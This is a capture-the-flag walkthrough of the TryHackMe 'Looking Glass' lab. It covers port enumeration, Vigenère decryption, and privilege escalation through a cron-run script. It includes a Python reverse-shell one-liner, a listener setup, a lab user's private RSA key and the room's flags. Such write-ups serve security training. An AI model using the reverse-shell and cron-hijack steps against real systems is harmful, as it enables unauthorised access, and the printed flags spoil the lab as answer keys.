In this article, I’ll guide you through the TryHackMe CTF (capture the flag 🚩) challenge Looking Glass. There will be spoilers in this write-up and walkthrough video, so stop reading now and click here if you want to try this free hacking challenge first without any hints.
This is part of the hacking security series on multiple TryHackMe challenges:
- TryHackMe Walkthrough – Wonderland
- Python Library Hijacking – A Simple Demonstration on NumPy
- TryHackMe Capture The Flag (CTF) Walkthrough – Lookingglass
Let’s get started with today’s third tutorial! 👇
Preparation
First, we export the target and local IP addresses as bash variables:
export myIP=10.6.2.23 export targetIP=10.10.45.160
Enumeration
We start with an Nmap scan:
sudo nmap $targetIP -sC -T4 -Pn
The -Pn
flag skips host discovery.
Here’s the output:
Starting Nmap 7.60 ( https://nmap.org ) at 2022-11-07 13:42 GMT Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan NSE Timing: About 0.00% done Nmap scan report for ip-10-10-45-160.eu-west-1.compute.internal (10.10.45.160) Host is up (0.012s latency). Not shown: 916 closed ports PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 2048 3f:15:19:70:35:fd:dd:0d:07:a0:50:a3:7d:fa:10:a0 (RSA) | 256 a8:67:5c:52:77:02:41:d7:90:e7:ed:32:d2:01:d9:65 (ECDSA) |_ 256 26:92:59:2d:5e:25:90:89:09:f5:e5:e0:33:81:77:6a (EdDSA) 9000/tcp open cslistener 9001/tcp open tor-orport 9002/tcp open dynamid 9003/tcp open unknown 9009/tcp open pichat 9010/tcp open sdr 9011/tcp open unknown 9040/tcp open tor-trans 9050/tcp open tor-socks 9071/tcp open unknown 9080/tcp open glrpc 9081/tcp open unknown 9090/tcp open zeus-admin 9091/tcp open xmltec-xmlmail 9099/tcp open unknown 9100/tcp open jetdirect 9101/tcp open jetdirect 9102/tcp open jetdirect 9103/tcp open jetdirect 9110/tcp open unknown 9111/tcp open DragonIDSConsole 9200/tcp open wap-wsp 9207/tcp open wap-vcal-s 9220/tcp open unknown 9290/tcp open unknown 9415/tcp open unknown 9418/tcp open git 9485/tcp open unknown 9500/tcp open ismserver 9502/tcp open unknown 9503/tcp open unknown 9535/tcp open man 9575/tcp open unknown 9593/tcp open cba8 9594/tcp open msgsys 9595/tcp open pds 9618/tcp open condor 9666/tcp open zoomcp 9876/tcp open sd 9877/tcp open unknown 9878/tcp open kca-service 9898/tcp open monkeycom 9900/tcp open iua 9917/tcp open unknown 9929/tcp open nping-echo 9943/tcp open unknown 9944/tcp open unknown 9968/tcp open unknown 9998/tcp open distinct32 9999/tcp open abyss 10000/tcp open snet-sensor-mgmt 10001/tcp open scp-config 10002/tcp open documentum 10003/tcp open documentum_s 10004/tcp open emcrmirccd 10009/tcp open swdtp-sv 10010/tcp open rxapi 10012/tcp open unknown 10024/tcp open unknown 10025/tcp open unknown 10082/tcp open amandaidx 10180/tcp open unknown 10215/tcp open unknown 10243/tcp open unknown 10566/tcp open unknown 10616/tcp open unknown 10617/tcp open unknown 10621/tcp open unknown 10626/tcp open unknown 10628/tcp open unknown 10629/tcp open unknown 10778/tcp open unknown 11110/tcp open sgi-soap 11111/tcp open vce 11967/tcp open sysinfo-sp 12000/tcp open cce4x 12174/tcp open unknown 12265/tcp open unknown 12345/tcp open netbus 13456/tcp open unknown 13722/tcp open netbackup 13782/tcp open netbackup 13783/tcp open netbackup MAC Address: 02:B9:B9:9B:D5:A7 (Unknown)
Let’s try to ssh into the highest port as root@<targetIP>
:
sudo ssh root@$targetIP -p 13783
It returns an error:
Unable to negotiate with 10.10.142.110 port 13783: no matching host key type found. Their offer: ssh-rsa
Let’s add the -oHostKeyAlgorithms=+ssh-rsa
to the command to add this kind of host key.
sudo ssh root@$targetIP -p 11376 -oHostKeyAlgorithms=+ssh-rsa
Nmap showed lots of open ports.
If we try connecting to the highest port we get back the message: Higher
.
However, there is no higher port, so we can deduce here that in this box, the ssh
output is actually the opposite of the words higher
or lower
. Remember, we are in the “Looking Glass” which is a mirror, and mirror images are a reversal of reality.
We could keep narrowing it down to the target port by going for the port that is midway between the other ports that have not yet been eliminated.
In practice, this can take quite a while.
Another user, Loren, wrote a simple bash script to automate the port searching process. I translated the functionality of his script into python3
code (see Appendix) and ran it to reveal the following poem Jabberwocky in encrypted text:
Jabberwocky
'Mdes mgplmmz, cvs alv lsmtsn aowil
Fqs ncix hrd rxtbmi bp bwl arul;
Elw bpmtc pgzt alv uvvordcet,
Egf bwl qffl vaewz ovxztiql.
'Fvphve ewl Jbfugzlvgb, ff woy!
Ioe kepu bwhx sbai, tst jlbal vppa grmjl!
Bplhrf xag Rjinlu imro, pud tlnp
Bwl jintmofh Iaohxtachxta!'
Oi tzdr hjw oqzehp jpvvd tc oaoh:
Eqvv amdx ale xpuxpqx hwt oi jhbkhe--
Hv rfwmgl wl fp moi Tfbaun xkgm,
Puh jmvsd lloimi bp bwvyxaa.
Eno pz io yyhqho xyhbkhe wl sushf,
Bwl Nruiirhdjk, xmmj mnlw fy mpaxt,
Jani pjqumpzgn xhcdbgi xag bjskvr dsoo,
Pud cykdttk ej ba gaxt!
Vnf, xpq! Wcl, xnh! Hrd ewyovka cvs alihbkh
Ewl vpvict qseux dine huidoxt-achgb!
Al peqi pt eitf, ick azmo mtd wlae
Lx ymca krebqpsxug cevm.
'Ick lrla xhzj zlbmg vpt Qesulvwzrr?
Cpqx vw bf eifz, qy mthmjwa dwn!
V jitinofh kaz! Gtntdvl! Ttspaj!'
Wl ciskvttk me apw jzn.
'Awbw utqasmx, tuh tst zljxaa bdcij
Wph gjgl aoh zkuqsi zg ale hpie;
Bpe oqbzc nxyi tst iosszqdtz,
Eew ale xdte semja dbxxkhfe.
Jdbr tivtmi pw sxderpIoeKeudmgdstd
Since the title is in plaintext we can google it to find an original version of the poem by Lewis Caroll in English.

So now we have the original text, and the cipher text, and all we need to find is the key and encryption type.
After googling around and finding that the encryption was highly likely a vigenere cipher, I ended up using https://www.guballa.de/vigenere-solver to crack the key (thealphabetcipher
). The secret is hidden in the last line of the cipher text (bewareTheJabberwock
).
Initial Foothold
If we enter the secret into the prompt on the target SSH port, the terminal will kick back a username:password
pair.
This pair changes after each successful login, so the python or bash script will come in handy down the road again. We can now SSH into the jabberwock
account using the password from the username:password
pair.
We issue the command:
sudo ssh jabberwock@$targetIP
Privilege Escalation – User Jabberwock
Now that we are logged in as jabberwock
we can start enumerating again to gather information about potential attack vectors going forward to privilege escalation.

There we have it! A reversed string of our first flag. We can reverse that string back around using the Python 3 string slicing step of -1
(text[::-1]
).

reverse_string = thm{65d3710e9d75d5f346d2bac669119a23}
Moving on to the privilege escalation we can start by checking for special sudoer permissions as user jabberwock
:
sudo -l

So from jabberwock
we have sudo
permissions to reboot as root without a password.
Let’s check out the file twasBrillig.sh
. It looks to be a Python script to randomly print lines from the poem string. At the top of the script is import random
.
We might be able to hijack this module to have a shell spawned as another user. Another option would be to directly add a payload to twasBrillig.sh
. We’ll go with the latter option because it is the simpler solution.
Looking at the file /etc/crontab
with nano
reveals a scheduled run of twasBrillig.sh
after every reboot as user tweedledum
.
Now we can see that by adding a payload to the beginning of the file, we can spawn a shell as tweedledum
without knowing their password.

Over on revshells.com
we can generate a Python 3 payload to spawn a reverse shell:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
Saving this and rebooting should kick us a shell.
The last thing to do before rebooting is to set up a listener on the appropriate port. Netcat wasn’t working properly during the video demonstration so I switched to pwncat
.
We set the listening port as 9001
in the reverse shell payload, so now we start up the listener with pwncat
:
pwncat -l 9001
And command a reboot with sudo
permissions as user jabberwock
:
sudo /bin/reboot
After catching the reverse shell as user tweedledum
with pwncat
, we can use a few commands to upgrade our shell:
python3 -c 'import pty; pty.spawn("/bin/sh")' Export TERM=xterm-256color
Further Enumeration – User Tweedledum
We discover a humptydumpty.txt
:
dcfff5eb40423f055a4cd0a8d7ed39ff6cb9816868f5766b4088b9e9906961b9
7692c3ad3540bb803c020b3aee66cd8887123234ea0c6e7143c0add73ff431ed
28391d3bc64ec15cbb090426b04aa6b7649c3cc85f11230bb0105e02d15e3624
b808e156d18d1cecdcc1456375f8cae994c36549a07c8c2315b473dd9d7f404f
fa51fd49abf67705d6a35d18218c115ff5633aec1f9ebfdc9d5d4956416f57f6
b9776d7ddf459c9ad5b0e1d6ac61e27befb5e99fd62446677600d7cacef544d0
5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8
7468652070617373776f7264206973207a797877767574737271706f6e6d6c6b
And a poem.txt
:
'Tweedledum and Tweedledee
Agreed to have a battle;
For Tweedledum said Tweedledee
Had spoiled his nice new rattle.
Just then flew down a monstrous crow,
As black as a tar-barrel;
Which frightened both the heroes so,
They quite forgot their quarrel.'
I noticed that both the hash and the poem have 8 lines. My hunch is that one is a hash of the other, hiding a password/key.
Using a site like crackstation.net
, we can detect the hashing algorithm and crack the hashes by having the site do the heavy lifting of cross-checking our hashes against a database of saved cracked hashes.
The site also shows us that the first seven lines are sha256-type hashes, but the last line is an unknown type.
On these CTF challenges, I’ve found that usually whatever looks suspicious or the exception to the rule is usually the thing to do further enumeration on.

Let’s take the final line and try another hashing site for decryption- cyberchef.

Cyberchef finds the password is zyxwvutsrqponmlk
by using hexadecimal decryption.
This may be a password for another user. Perhaps it is for humptydumpty
, given the clue of the humptydumpty poem.txt
.
We also try a sudo -l
command to check for special permissions and see that we can spawn a shell as tweedledee
without a password.
However, further enumeration reveals that there aren’t any leads from tweedledee
’s account toward further privilege escalation.
Let’s switch users to humptydumpty
using the password from the cracked hexadecimal hash:
su humptydumpty
Privilege Escalation to User Alice
We enumerate the home folder on humptydumpty
’s account and find a few interesting things:

We have execute permissions on the alice
directory!
To explore further what commands we might be able to run, let’s enumerate with:
find / -name "*alice*" -type f 2> /dev/null
This turns up a sudoers.d
file for alice
. Let’s cat that out and see what commands she has special sudo
permissions on:
cat /etc/sudoers.d/alice alice ssalg-gnikool = (root) NOPASSWD: /bin/bash
Interesting! Alice can run a strange program to spawn a root shell without a password.
We should be able to do that after we are logged in as Alice by running:
sudo -h ssalg-gnikool /bin/bash
The -h
flag is to switch a command to run as an alternate host.
Let’s check on a whim to see if there might be a hidden private ssh key hiding in Alice’s .ssh
hidden folder.
cat /alice/.ssh/id_rsa
And there is!
Here is the output:
-----BEGIN RSA PRIVATE KEY-----
MIIEpgIBAAKCAQEAxmPncAXisNjbU2xizft4aYPqmfXm1735FPlGf4j9ExZhlmmD
NIRchPaFUqJXQZi5ryQH6YxZP5IIJXENK+a4WoRDyPoyGK/63rXTn/IWWKQka9tQ
2xrdnyxdwbtiKP1L4bq/4vU3OUcA+aYHxqhyq39arpeceHVit+jVPriHiCA73k7g
HCgpkwWczNa5MMGo+1Cg4ifzffv4uhPkxBLLl3f4rBf84RmuKEEy6bYZ+/WOEgHl
fks5ngFniW7x2R3vyq7xyDrwiXEjfW4yYe+kLiGZyyk1ia7HGhNKpIRufPdJdT+r
NGrjYFLjhzeWYBmHx7JkhkEUFIVx6ZV1y+gihQIDAQABAoIBAQDAhIA5kCyMqtQj
X2F+O9J8qjvFzf+GSl7lAIVuC5Ryqlxm5tsg4nUZvlRgfRMpn7hJAjD/bWfKLb7j
/pHmkU1C4WkaJdjpZhSPfGjxpK4UtKx3Uetjw+1eomIVNu6pkivJ0DyXVJiTZ5jF
ql2PZTVpwPtRw+RebKMwjqwo4k77Q30r8Kxr4UfX2hLHtHT8tsjqBUWrb/jlMHQO
zmU73tuPVQSESgeUP2jOlv7q5toEYieoA+7ULpGDwDn8PxQjCF/2QUa2jFalixsK
WfEcmTnIQDyOFWCbmgOvik4Lzk/rDGn9VjcYFxOpuj3XH2l8QDQ+GO+5BBg38+aJ
cUINwh4BAoGBAPdctuVRoAkFpyEofZxQFqPqw3LZyviKena/HyWLxXWHxG6ji7aW
DmtVXjjQOwcjOLuDkT4QQvCJVrGbdBVGOFLoWZzLpYGJchxmlR+RHCb40pZjBgr5
8bjJlQcp6pplBRCF/OsG5ugpCiJsS6uA6CWWXe6WC7r7V94r5wzzJpWBAoGBAM1R
aCg1/2UxIOqxtAfQ+WDxqQQuq3szvrhep22McIUe83dh+hUibaPqR1nYy1sAAhgy
wJohLchlq4E1LhUmTZZquBwviU73fNRbID5pfn4LKL6/yiF/GWd+Zv+t9n9DDWKi
WgT9aG7N+TP/yimYniR2ePu/xKIjWX/uSs3rSLcFAoGBAOxvcFpM5Pz6rD8jZrzs
SFexY9P5nOpn4ppyICFRMhIfDYD7TeXeFDY/yOnhDyrJXcbOARwjivhDLdxhzFkx
X1DPyif292GTsMC4xL0BhLkziIY6bGI9efC4rXvFcvrUqDyc9ZzoYflykL9KaCGr
+zlCOtJ8FQZKjDhOGnDkUPMBAoGBAMrVaXiQH8bwSfyRobE3GaZUFw0yreYAsKGj
oPPwkhhxA0UlXdITOQ1+HQ79xagY0fjl6rBZpska59u1ldj/BhdbRpdRvuxsQr3n
aGs//N64V4BaKG3/CjHcBhUA30vKCicvDI9xaQJOKardP/Ln+xM6lzrdsHwdQAXK
e8wCbMuhAoGBAOKy5OnaHwB8PcFcX68srFLX4W20NN6cFp12cU2QJy2MLGoFYBpa
dLnK/rW4O0JxgqIV69MjDsfRn1gZNhTTAyNnRMH1U7kUfPUB2ZXCmnCGLhAGEbY9
k6ywCnCtTz2/sNEgNcx9/iZW+yVEm/4s9eonVimF+u19HJFOPJsAYxx0
-----END RSA PRIVATE KEY-----
We will use >
to save this key data to a new file in humptydumpty
’s /.ssh
folder.
cat id_rsa > /home/humptydumpty/id_rsa_alice
And then, we’ll attempt to ssh
into alice
using the id_rsa_alice
ssh keyfile.
ssh alice@$targetIP -i id_rsa_alice
Output:
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.212.127' (ED25519) to the list of known hosts.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'id_rsa_alice' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa_alice": bad permissions
This attempt failed, but it looks like we are close to getting in. It looks like we need more restrictive permissions on the key file. Currently, it has 0644
permissions.
Let’s try chmod 600
to give us full permissions and other users no permissions on /.ssh/id_rsa_alice
.
—
Now that we have changed file permissions to be more restrictive, let’s try again to ssh in as user alice:
ssh alice@$targetIP -i id_rsa_alice
This time it worked.
Let’s run the command now to spawn a root shell from alice
:
sudo -h ssalg-gnikool /bin/bash
The -h
flag is to switch a command to run as an alternate host.
That works. We quickly find the root.txt
flag in the /root
folder. Its contents are a backward flag:
}f3dae6dec817ad10b750d79f6b7332cb{mht
We can easily reverse the direction using python3
:
root="}f3dae6dec817ad10b750d79f6b7332cb{mht" print(root[::-1])
The -1
is the reverse step of 1, which means reversed direction slicing every letter/number along the whole slice.
thm{bc2337b6f97d057b01da718ced6ead3f}
Appendix
Here’s the script I used above:
#!/usr/bin/env python3 # These sites were used as references: https://stackabuse.com/executing-shell-commands-wi> # https://stackoverflow.com/questions/4760215/running-shell-command-and-capturing-the-> #set up initial conditions for the target port search import subprocess low_port=9000 high_port=13790 targetIP = "10.10.252.52" print(targetIP) #initialize loop_key variable: loop_key="higher" while loop_key=="Higher" or "Lower": print('low = ' + str(low_port) + ', high = ' + str(high_port)) #a good place to use floor division to cut off the extra digit mid_port=(high_port+low_port)//2 print('Trying port ' + str(mid_port)) #attempt to connect to the mid port result = subprocess.run(['ssh', 'root@' + str(targetIP), '-oHostKeyAlgorithms=+ssh-rsa', '-p', str(mid_port)], stdout=subprocess.PIPE) # prep the decoded output variable msg = result.stdout decoded_msg = msg.decode('utf-8') # print result of attempted ssh connection print(decoded_msg) if "Higher" in decoded_msg: #print("yes I see the words Higher") high_port=mid_port print(high_port) loop_key="Higher" elif "Lower" in decoded_msg: low_port=mid_port print(low_port) loop_key="Lower" else: print("You found the secret port - " + str(mid_port)) exit()

I am a freelance ethical hacker/penetration tester. I have extensive experience in penetration testing and vulnerability assessments on web apps and servers. I am also fluent in Mandarin and have 15 years of experience as an edTech integration specialist, curriculum designer, and foreign language teacher. Here’s my personal website.